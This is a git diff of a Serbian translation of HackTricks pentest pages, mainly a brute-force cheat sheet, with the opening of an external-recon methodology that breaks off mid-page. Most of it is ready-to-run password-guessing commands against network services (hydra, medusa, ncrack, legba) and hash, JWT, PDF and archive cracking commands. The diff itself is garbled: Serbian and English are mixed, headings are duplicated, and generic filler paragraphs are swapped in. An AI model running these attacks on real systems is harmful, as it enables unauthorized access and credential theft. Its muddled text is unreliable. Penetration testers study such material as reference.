a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,23 +1,23 @@ # Brute Force - Šema prečica -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ -Pristupite danas: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@@ -37,7 +37,7 @@ Drugi načini podrške HackTricks-u: * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) -* [**https://theinfocentric.com/**](https://theinfocentric.com/) +* [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Napravite svoje rečnike** @@ -60,7 +60,7 @@ cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) -Generišite šifre na osnovu vašeg znanja o žrtvi (imena, datumi...) +Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...) ``` python3 cupp.py -h ``` @@ -100,17 +100,17 @@ Finished in 0.920s. * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ -Dobijte pristup danas: +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Usluge -Poređane abecednim redom po imenu usluge. +Poređane abecedno po imenu usluge. ### AFP ```bash @@ -122,8 +122,6 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` -### AJP - ### AJP ```bash nmap --script ajp-brute -p 8009 @@ -152,10 +150,6 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP - ---- - -Brute-forcing FTP credentials is a common technique used to gain unauthorized access to FTP servers. Attackers use automated tools to try a large number of username and password combinations until they find the correct one. This can be mitigated by enforcing strong password policies, limiting login attempts, and implementing account lockout mechanisms. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] @@ -179,8 +173,6 @@ legba http.ntlm1 --domain example.org --workstation client --username admin --pa legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form - -### HTTP - Pošalji obrazac ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -193,8 +185,6 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP - -IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to gain unauthorized access to an email account, they may use a brute force attack to guess the account password. This involves trying many different password combinations until the correct one is found. IMAP servers may have security measures in place to prevent or limit brute force attacks, such as account lockouts after multiple failed login attempts. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -203,9 +193,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC ---- - -Internet Relay Chat (IRC) je protokol za real-time razmenu poruka na Internetu. Brute force napadi na IRC servere mogu biti izvršeni korišćenjem alata poput Hydra ili Medusa. Ovi alati mogu pokušati različite kombinacije korisničkih imena i lozinki kako bi dobili neovlašćen pristup IRC serveru. Kada se koristi brute force napad na IRC server, važno je voditi računa o zakonitosti i etičnosti takvih aktivnosti. +### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` @@ -272,7 +260,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos ``` ### OracleSQL -Brute-force attacks against OracleSQL databases can be carried out using tools like Hydra, Metasploit, or custom scripts. These tools can automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and resource-intensive, and may trigger security alerts if not done carefully. +### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -296,11 +284,11 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` -Da biste koristili **oracle\_login** sa **patator**-om, potrebno je **instalirati**: +Da biste koristili **oracle\_login** sa **patatorom**, potrebno je **instalirati**: ```bash pip3 install cx_Oracle --upgrade ``` -[Bruteforceovanje hešova OracleSQL-a van mreže](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**): +[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` @@ -318,8 +306,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL - -PostgreSQL je moćan sistem za upravljanje bazama podataka koji se često koristi u aplikacijama. Kada pokušavate da probijete bazu podataka PostgreSQL, jedna od osnovnih tehnika je "brute force" napad. Ovaj napad uključuje automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija za pristup bazi podataka. Ovo može biti vremenski zahtevan proces, ali može biti efikasan ako se koriste pravilno podešene alatke i tehnike. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -349,6 +335,8 @@ nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` +### Rexec + ### Rexec ```bash hydra -l -P rexec:// -v -V @@ -358,6 +346,16 @@ hydra -l -P rexec:// -v -V hydra -l -P rlogin:// -v -V ``` ### Rsh + +--- + +Brute force attacks against the Rsh service can be carried out using the `rsh-brute` script in Nmap. This script performs a dictionary attack against Rsh servers to guess usernames and passwords. An example of how to use this script is shown below: + +```bash +nmap --script rsh-brute +``` + +This script can be useful during penetration testing to identify weak credentials on Rsh servers. ```bash hydra -L rsh:// -v -V ``` @@ -386,15 +384,13 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta ``` ### SMB -SMB (Server Message Block) je protokol za deljenje fajlova koji se često koristi u Windows okruženjima. Brute force napadi na SMB servere mogu biti efikasni u otkrivanju slabih lozinki ili probijanju lozinki. +### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP - -SMTP (Simple Mail Transfer Protocol) je standardni protokol za slanje elektronske pošte preko interneta. Kada se koristi u kontekstu hakovanja, brute force napadi se mogu koristiti za pokušaj pristupa SMTP serveru kroz isprobavanje različitih kombinacija korisničkih imena i lozinki. Ovo može biti efikasan način za otkrivanje slabih lozinki ili nedovoljno zaštićenih SMTP servera. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL @@ -409,8 +405,6 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords. # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` -### SQL Server - ### SQL Server ```bash #Use the NetBIOS name of the machine as domain @@ -432,9 +426,9 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` -#### Slabe SSH ključeve / Predvidljivi PRNG u Debianu +#### Slabe SSH ključeve / Debian predvidljiv PRNG -Neke sisteme imaju poznate nedostatke u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generisani setovi slabih ključeva takođe su dostupni, poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. Ovo može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generisani setovi slabih ključeva takođe su dostupni, poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ) @@ -444,7 +438,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords. ``` ### Telnet -Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada. +Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada. Brute force napad na Telnet server može biti efikasan ako su lozinke slabe ili nisu pravilno konfigurisane. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -478,7 +472,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ @@ -488,10 +482,10 @@ Pristupite danas: ## Lokalno -### Online baze za dešifrovanje +### Online baze za probijanje * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova) +* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/ili bez ESS/SSP i sa bilo kojom vrednošću izazova) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Heševi, WPA2 snimci i arhive MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Heševi) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) @@ -502,7 +496,7 @@ Pristupite danas: * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Proverite ovo pre nego što pokušate da izvršite **bruteforce** napad na heš. +Proverite ovo pre nego što pokušate da probijete heš. ### ZIP ```bash @@ -548,7 +542,9 @@ apt-get install libcompress-raw-lzma-perl ``` ### PDF -### PDF +--- + +Brute-force napadi su jedna od najjednostavnijih metoda napada na autentikaciju. Ovi napadi se oslanjaju na pokušaje svih mogućih kombinacija lozinki dok se ne pronađe odgovarajuća. Postoje alati koji mogu automatizovati ovaj proces i ubrzati pronalaženje ispravne lozinke. Kako bi se zaštitili od ovakvih napada, preporučuje se korišćenje jakih i složenih lozinki, kao i implementacija dodatnih sigurnosnih mehanizama poput dvostruke autentikacije. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -557,7 +553,7 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` -### Vlasnik lozinke PDF-a +### Vlasnička lozinka PDF-a Da biste probili vlasničku lozinku PDF-a, pogledajte ovde: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) @@ -573,7 +569,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` -### NTLM krckanje +### NTLM krakovanje ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes @@ -655,7 +651,7 @@ zip -r file.xls . # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -681,7 +677,7 @@ hash-identifier ### **Alati za generisanje wordlisti** -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, mapom tastera i rutama. +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, keymap-om i rutama. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` @@ -696,7 +692,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules #### Hashcat napadi -* **Napad rečnikom** (`-a 0`) sa pravilima +* **Napad sa listom reči** (`-a 0`) sa pravilima **Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` @@ -760,67 +756,72 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -### Brute Forcing Linux Hashes - /etc/shadow file +### Brute Forcing -Krekovanje Linux heševa - fajl /etc/shadow +Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method to recover passwords. There are various tools available that can automate the brute forcing process, such as John the Ripper and Hashcat. These tools use different algorithms and techniques to efficiently crack passwords. It is important to use strong wordlists and rules to increase the chances of success when brute forcing Linux hashes. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -# Brute Force - ## Brute Forcing Windows Hashes -Brute forcing Windows hashes involves using tools like **John the Ripper** or **Hashcat** to crack the password hashes obtained from Windows systems. These tools can perform dictionary attacks, where they try a list of commonly used passwords, or brute force attacks, where they try every possible combination of characters to crack the hash. +### Introduction -### Steps to Brute Force Windows Hashes: +When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss how to perform brute force attacks on Windows hashes. -1. **Obtain Hashes**: Obtain the password hashes from the Windows system you want to crack. +### Tools -2. **Choose a Tool**: Select a suitable tool like **John the Ripper** or **Hashcat** for cracking the hashes. +There are several tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools are capable of running through millions of password combinations in a relatively short amount of time. -3. **Select Attack Type**: Decide whether to use a dictionary attack or a brute force attack based on the complexity of the password. +### Methodology -4. **Run the Tool**: Run the selected tool with the necessary parameters to start the brute force process. +1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory. -5. **Wait for Results**: Depending on the complexity of the password and the computing power available, the tool will eventually crack the hash. +2. **Choose a Tool**: Select a suitable tool for brute forcing the hash. **John the Ripper** is a popular choice for this purpose. -6. **Access the Password**: Once the tool successfully cracks the hash, you will have access to the plaintext password. +3. **Create Wordlist**: Generate a wordlist that contains potential passwords to try during the brute force attack. This wordlist can be created using tools like **Crunch** or **Cewl**. -By following these steps, you can successfully brute force Windows hashes and gain access to the passwords stored on Windows systems. +4. **Initiate Brute Force Attack**: Use the chosen tool to start the brute force attack against the Windows hash. The tool will systematically try all possible password combinations until the correct one is found. + +5. **Crack the Hash**: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system. + +### Conclusion + +Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack even the most secure passwords. It is important to use this knowledge responsibly and only for ethical hacking purposes. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` ## Brute-Force -### Introduction +### Dictionary Attacks -Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are effective against weak passwords. +Dictionary attacks are a type of brute-force attack that uses a predefined list of words as potential passwords. These attacks are usually more efficient than traditional brute-force attacks because they do not need to try every possible combination of characters. Instead, they only try words that are likely to be used as passwords. -### Tools +#### Tools -There are various tools available for conducting brute-force attacks, such as Hashcat, John the Ripper, and Hydra. These tools allow you to automate the process of trying different combinations quickly and efficiently. +- **John the Ripper**: A popular password-cracking tool that can perform dictionary attacks among other types of attacks. +- **Hashcat**: Another powerful password-cracking tool that supports dictionary attacks. -### Methodology +### Brute-Force Attacks -1. **Select Target Hash**: Obtain the hash of the target application you want to crack. +Brute-force attacks systematically try every possible combination of characters until the correct password is found. These attacks can be very time-consuming and resource-intensive, especially for longer and more complex passwords. -2. **Choose Brute-Force Tool**: Select a suitable brute-force tool based on the type of hash you are trying to crack. +#### Tools -3. **Set Parameters**: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc. +- **Hydra**: A fast and flexible password-cracking tool that supports various protocols and services. +- **Medusa**: Similar to Hydra, Medusa is a speedy, parallel password-cracking tool. -4. **Initiate Attack**: Start the brute-force attack and let the tool try different combinations until the correct one is found. +### Rainbow Tables -5. **Crack the Hash**: Once the correct password is identified, you have successfully cracked the hash. +Rainbow tables are precomputed tables used in password-cracking to accelerate the cracking process by reversing cryptographic hash functions. Instead of computing the hash of each possible password, rainbow tables store precomputed hashes of commonly used passwords. -### Tips +#### Tools -- Use a good wordlist: Having a quality wordlist can significantly increase the chances of cracking the hash. -- Understand the hash type: Different hash algorithms require different approaches, so it's essential to know the type of hash you are dealing with. -- Be patient: Brute-force attacks can take time, especially for complex passwords. Patience is key to successfully cracking hashes. +- **RainbowCrack**: A tool that can generate and use rainbow tables to crack password hashes. +- **Ophcrack**: A Windows-based password cracker that uses rainbow tables to perform password-cracking attacks. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -834,7 +835,7 @@ There are various tools available for conducting brute-force attacks, such as Ha Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Drugi načini podrške HackTricks-u: +Drugi načini da podržite HackTricks: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) @@ -844,10 +845,10 @@ Drugi načini podrške HackTricks-u:
-
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 5d74453b4..d09ef7d92 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,13 +10,13 @@ Drugi načini podrške HackTricks-u: * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
-Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). +Ako vas zanima **hakerska karijera** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). {% embed url="https://www.stmcyber.com/careers" %} @@ -24,18 +24,18 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **za > Rečeno vam je da sve što pripada nekoj kompaniji spada u opseg, i želite da saznate šta ta kompanija zapravo poseduje. -Cilj ove faze je da se dobiju sve **kompanije koje pripadaju glavnoj kompaniji** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, koristićemo sledeće korake: +Cilj ove faze je da se dobiju sve **kompanije koje pripadaju glavnoj kompaniji** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, uradićemo sledeće: 1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije u opsegu. 2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija. -3. Koristiti pretrage obrnutog whois-a da bismo pronašli druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno). -4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo pronašli druge resurse (trič za `ssl` se može raditi rekurzivno). +3. Koristiti pretrage obrnutog whois-a da bismo tražili druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno). +4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo tražili druge resurse (trič za `ssl` se može raditi rekurzivno). ### **Akvizicije** -Prvo što treba da znamo je koje **druge kompanije pripadaju glavnoj kompaniji**.\ -Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\ -Druga opcija je posetiti **Wikipedia** stranicu glavne kompanije i pretražiti **akvizicije**. +Prvo, treba da znamo koje **druge kompanije pripadaju glavnoj kompaniji**.\ +Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je stekla glavna kompanija.\ +Druga opcija je posetiti **Vikipedijinu** stranicu glavne kompanije i tražiti **akvizicije**. > Ok, u ovom trenutku trebalo bi da znate sve kompanije u opsegu. Hajde da saznamo kako da pronađemo njihove resurse. @@ -44,8 +44,8 @@ Druga opcija je posetiti **Wikipedia** stranicu glavne kompanije i pretražiti * Autonomni sistemski broj (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\ AS se sastoji od **blokova** IP adresa koji imaju jasno definisanu politiku za pristupanje spoljnim mrežama i upravlja ih jedna organizacija, ali može biti sastavljen od više operatera. -Interesantno je saznati da li **kompanija ima dodeljen ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\ -Možete **pretraživati** po imenu kompanije, po **IP** adresi ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +Interesantno je saznati da li **kompanija ima dodeljen bilo koji ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\ +Možete **pretraživati** po imenu kompanije, po **IP**-u ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\ **Zavisno od regiona kompanije, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su svi** korisni podaci **(IP opsezi i Whois)** već dostupni na prvom linku. ```bash #You can try "automate" this with amass, but it's not very recommended @@ -75,7 +75,7 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in ### **Traženje ranjivosti** U ovom trenutku znamo **sve resurse unutar opsega**, pa ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\ -Takođe, možete pokrenuti neke [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti servise kao što je** shodan **da biste pronašli** otvorene portove **i, u zavisnosti od onoga što pronađete, trebalo bi da** pogledate u ovoj knjizi kako da pentestirate nekoliko mogućih servisa koji se izvršavaju.\ +Takođe, možete pokrenuti neke [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da biste pronašli** otvorene portove **i, u zavisnosti od onoga što pronađete, trebalo bi da** pogledate u ovoj knjizi kako da pentestirate nekoliko mogućih servisa koji se izvršavaju.\ **Takođe, vredi pomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** probijete servise sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domeni @@ -95,12 +95,9 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 